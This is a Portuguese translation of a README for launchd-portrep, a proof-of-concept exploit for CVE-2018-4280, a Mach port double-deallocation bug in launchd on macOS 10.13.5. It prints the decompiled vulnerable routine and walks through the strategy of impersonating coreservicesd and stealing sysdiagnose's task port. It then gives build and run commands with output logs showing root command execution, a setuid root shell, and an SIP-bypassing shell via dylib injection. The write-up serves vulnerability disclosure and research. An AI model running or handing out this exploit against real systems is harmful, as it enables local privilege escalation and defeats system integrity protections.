
CVE-2018-4280: Vulnerabilidade de substituição de Mach port no launchd no macOS 10.13.5 que leva à escalada de privilégios local e desvio do SIP.
launchd-portrep é um exploit para uma vulnerabilidade de substituição de portas em launchd, o processo inicial do espaço do usuário e daemon de gerenciamento de serviços no macOS. Ao enviar uma mensagem Mach manipulada para a porta de bootstrap, o launchd pode ser coagido a desalocar seu direito de envio para qualquer porta Mach para a qual o atacante também tenha um direito de envio. Isso permite que o atacante se passe por qualquer serviço do launchd que consiga consultar para o resto do sistema.
O Launchd multiplexa vários manipuladores de mensagens Mach em sua porta principal, incluindo um manipulador MIG para mensagens de exceção. Se um processo envia uma mensagem mach_exception_raise ou mach_exception_raise_state_identity para sua própria porta de bootstrap, o launchd receberá e processará essa mensagem como uma exceção em nível de hospedeiro.
Infelizmente, o tratamento dessas mensagens pelo launchd apresenta bugs. Se o tipo de exceção for EXC_CRASH, o launchd desalocará as portas de thread e tarefa enviadas na mensagem e, em seguida, retornará KERN_FAILURE da rotina de serviço, fazendo com que o sistema MIG desaloque novamente as portas de thread e tarefa. (A suposição é que, se uma rotina de serviço retornar sucesso, ela assumiu a propriedade de todos os recursos na mensagem Mach, enquanto se a rotina de serviço retornar um erro, ela não assumiu a propriedade de nenhum dos recursos.)
Aqui está o código da rotina de serviço do launchd para mensagens mach_exception_raise, descompilado usando IDA/Hex-Rays e levemente editado para legibilidade:
kern_return_t __fastcall
catch_mach_exception_raise( // (a) A rotina de serviço é
mach_port_t exception_port, // chamada com valores diretamente
mach_port_t thread, // da mensagem Mach enviada
mach_port_t task, // pelo cliente. As portas de
unsigned int exception, // thread e tarefa podem ser
mach_exception_data_t code, // direitos de envio arbitrários.
unsigned int codeCnt)
{
kern_return_t kr; // eax@1 MAPDST
kern_return_t result; // eax@10
int pid; // [rsp+14h] [rbp-43Ch]@1
char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
__int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
__stack_guard = *__stack_chk_guard_ptr;
pid = -1;
kr = pid_for_task(task, &pid);
if ( kr )
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
if ( codeCnt )
{
do
{
__snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
++code;
--codeCnt;
}
while ( codeCnt );
}
launchd_log_2(
0LL,
3LL,
"Exceção em nível de hospedeiro levantada: pid = %d, thread = 0x%x, "
"tipo de exceção = 0x%x, códigos = { %s }",
pid,
thread,
exception,
codes_str);
kr = deallocate_mach_port(thread); // (b) A porta "thread" enviada na
if ( kr ) // mensagem é desalocada.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
kr = deallocate_mach_port(task); // (c) A porta "task" enviada na
if ( kr ) // mensagem é desalocada.
{
_os_assumes_log(kr);
_os_avoid_tail_call();
}
result = 0;
if ( *__stack_chk_guard_ptr == __stack_guard )
{
LOBYTE(result) = exception == 10; // (d) Se o tipo de exceção for 10
result *= 5; // (EXC_CRASH), então um erro
} // KERN_FAILURE é retornado.
return result; // MIG desalocará as portas
} // novamente.
Essa dupla desalocação dos nomes de porta é problemática porque um processo pode definir quaisquer portas que desejar como as portas de tarefa e thread na mensagem de exceção. O Launchd não realiza verificações de que os direitos de envio recebidos realmente correspondem a uma thread e uma tarefa; as portas poderiam, por exemplo, ser direitos de envio para portas já presentes no espaço IPC do launchd. Então a dupla desalocação faria com que o launchd realmente perdesse uma referência de usuário em uma de suas próprias portas.
Esse bug pode ser explorado para liberar o direito de envio do launchd para qualquer porta Mach à qual o processo atacante também tenha um direito de envio. Em particular, se o processo atacante puder consultar um serviço do sistema usando o launchd, ele poderá liberar o direito de envio do launchd para esse serviço e então se passar pelo serviço para o resto do sistema. Depois disso, existem muitas rotas diferentes para obter privilégios de sistema.
Este bug é uma versão menos geral do CVE-2016-7637, um problema de manipulação de referências de usuário de porta Mach no XNU descoberto por Ian Beer que permitia que processos liberassem portas Mach em outros processos. Ian Beer explorou essa vulnerabilidade no macOS substituindo o direito de envio do launchd para o endpoint com.apple.CoreServices.coreservicesd e se passando por coreservicesd para o resto do sistema. Coreservicesd é um alvo atraente porque é um dos poucos serviços para os quais os clientes enviarão sua porta de tarefa em uma mensagem Mach. Ao substituir o direito de envio do launchd para coreservicesd por sua própria porta e então acionar clientes privilegiados para consultar e se comunicar com coreservicesd, ele conseguiu obter a porta de tarefa para um processo privilegiado e então executar código dentro desse processo.
Como o comportamento no macOS não mudou, basicamente copiei a estratégia de exploit de Ian Beer para esta vulnerabilidade. Enviamos mensagens de exceção para o launchd contendo a porta de serviço do coreservicesd até liberarmos o direito de envio do launchd para essa porta. Podemos detectar quando liberamos o direito chamando bootstrap_look_up() novamente no serviço: se o launchd retornar um nome de porta inválido, então liberamos com sucesso o direito de envio do launchd para a porta. Em seguida, registramos e cancelamos repetidamente um grande número de serviços no launchd até que um dos serviços que registramos receba o mesmo nome de porta Mach no espaço IPC do launchd que a porta coreservicesd original. Neste ponto, qualquer processo que consultar com.apple.CoreServices.coreservicesd no launchd receberá um direito de envio para nosso serviço falso em vez do coreservicesd real. Então executamos um servidor MITM na porta de serviço falsa, inspecionando todas as portas Mach nas mensagens recebidas dos clientes antes de enviá-las ao coreservicesd real. Neste ponto, enviamos uma mensagem para sysdiagnose fazendo com que ele execute um tailspin, o que faz com que sysdiagnose se conecte à nossa porta coreservicesd falsa e nos envie sua porta de tarefa. Como sysdiagnose tem a permissão task_for_pid-allow, podemos agora obter a porta de tarefa para qualquer processo.
Para (principalmente) restaurar o funcionamento adequado do sistema, usamos sysdiagnose para obter a porta de tarefa do launchd e, em seguida, usamos a porta de tarefa do launchd para substituir o direito de envio do launchd para nossa porta de serviço falsa de volta por um direito de envio para o coreservicesd real. Dessa forma, clientes futuros podem realmente alcançar o coreservicesd.
Um problema que notei com essa abordagem é que o sistema parece travar no desligamento por um breve período. Presumo que isso ocorre porque adulterar as portas do launchd bagunça alguma contabilidade ou notificações de porta do launchd. Não investiguei mais esse problema, mas reiniciar o coreservicesd usando o launchctl parece corrigi-lo:
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd
Depois de termos execução de código dentro de um processo task_for_pid-allow, podemos controlar qualquer tarefa no sistema. Isso é ótimo porque não só podemos realizar a elevação padrão de privilégios, mas também podemos contornar o SIP injetando código em processos com direito SIP.
Este exploit demonstra dois usos potenciais: execução de comando do sistema como root e injeção de dylib. Para executar um comando do sistema, simplesmente invocamos a função system() padrão de dentro do sysdiagnose, passando a string de comando fornecida pelo usuário. Para injetar uma dylib em um processo, chamamos task_for_pid() de dentro do sysdiagnose para obter a porta de tarefa do alvo, e então usamos a porta de tarefa para chamar dlopen() na biblioteca fornecida.
Para construir o exploit independente launchd-portrep, execute make. Veja o topo do Makefile para várias opções de compilação. Você precisará baixar e construir a biblioteca de injeção threadexec primeiro.
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make
Observe que o exploit como escrito falhará se o processo sysdiagnose já estiver em execução. Assim, para os fins desta prova de conceito, certifique-se de matar o sysdiagnose antes de executar o exploit. (É possível reformular o exploit para que ele ainda funcione se o sysdiagnose já estiver em execução, mas decidi não incorporar essa funcionalidade para desencorajar o uso desta ferramenta para fins maliciosos.)
Execute o exploit especificando o comando a ser executado como se estivesse sendo passado para a função system():
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Porta de serviço do launchd liberada para com.apple.CoreServices.coreservicesd
[+] com.apple.CoreServices.coreservicesd substituída pela porta substituta 0xd77 (índice 196) após 28 tentativas
[+] Sysdiagnose tem PID 499
[+] Porta de tarefa do sysdiagnose encontrada 0x1767b
[+] Comando saiu com status: 0
$ ls -la /tmp/exploit-success
-rw-r--r-- 1 root wheel 0 Jul 24 23:50 /tmp/exploit-success
Alternativamente, se você especificar um PID e um caminho absoluto para um arquivo de biblioteca dinâmica, o launchd-portrep injetará a dylib no processo especificado.
Existem também dois scripts de exemplo que encapsulam launchd-portrep: launchd-portrep-rootsh.sh e launchd-portrep-rootless.sh.
launchd-portrep-rootsh.sh apresentará um shell root tradicional instalando um lançador de shell setuid-root em /var/suid-sh. (O shell setuid é removido automaticamente após 1 segundo.)
$ bash ./launchd-portrep-rootsh.sh
[+] Porta de serviço do launchd liberada para com.apple.CoreServices.coreservicesd
[+] com.apple.CoreServices.coreservicesd substituída pela porta substituta 0x153b (índice 192) após 60 tentativas
[+] Sysdiagnose tem PID 1231
[+] Porta de tarefa do sysdiagnose encontrada 0x1df7b
[+] Comando saiu com status: 0
Lançando /private/var/suid-sh
bash-3.2#
launchd-portrep-rootless.sh é ainda mais interessante: apresenta um shell onde as restrições rootless no sistema de arquivos foram desabilitadas. Ele faz isso gerando o diskmanagementd, que tem a permissão com.apple.rootless.install.heritable, e então injetando uma dylib no diskmanagementd que faz com que ele gere um shell com stdin e stdout ligados a named pipes. Como o nome da permissão sugere, as isenções do SIP concedidas por com.apple.rootless.install.heritable serão passadas para os processos filhos, o que significa que o shell e todos os comandos que você executar nele estão essencialmente isentos das proteções do sistema de arquivos do SIP.
$ bash ./launchd-portrep-rootless.sh
[+] Porta de serviço do launchd liberada para com.apple.CoreServices.coreservicesd
[+] com.apple.CoreServices.coreservicesd substituída pela porta substituta 0xe7b (índice 194) após 60 tentativas
[+] Sysdiagnose tem PID 1145
[+] Porta de tarefa do sysdiagnose encontrada 0x1747b
[+] Comando saiu com status: 0
[+] Porta de serviço do launchd liberada para com.apple.CoreServices.coreservicesd
[+] com.apple.CoreServices.coreservicesd substituída pela porta substituta 0x13d7b (índice 199) após 61 tentativas
[+] Sysdiagnose tem PID 1162
[+] Porta de tarefa do sysdiagnose encontrada 0xbe47
[+] Porta de tarefa 0xa07 obtida para PID 1153
[+] "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" carregado com sucesso no processo 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 4 root wheel restricted 128 Jul 25 19:08 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@ 5 root wheel restricted 160 Jul 25 19:19 .
drwxr-xr-x 31 root wheel sunlnk 992 Jul 25 12:20 ..
-rw-r--r-- 1 root wheel restricted 0 Oct 6 2017 .localized
drwxr-xr-x 102 root wheel restricted 3264 Jun 12 11:47 Library
-rw-r--r-- 1 root wheel restricted 0 Jul 25 19:19 exploit-success
bash-3.2# exit
launchd-portrep foi testado no macOS 10.13.5 17F77.
O código do launchd-portrep é distribuído sob a licença MIT.
Brandon Azad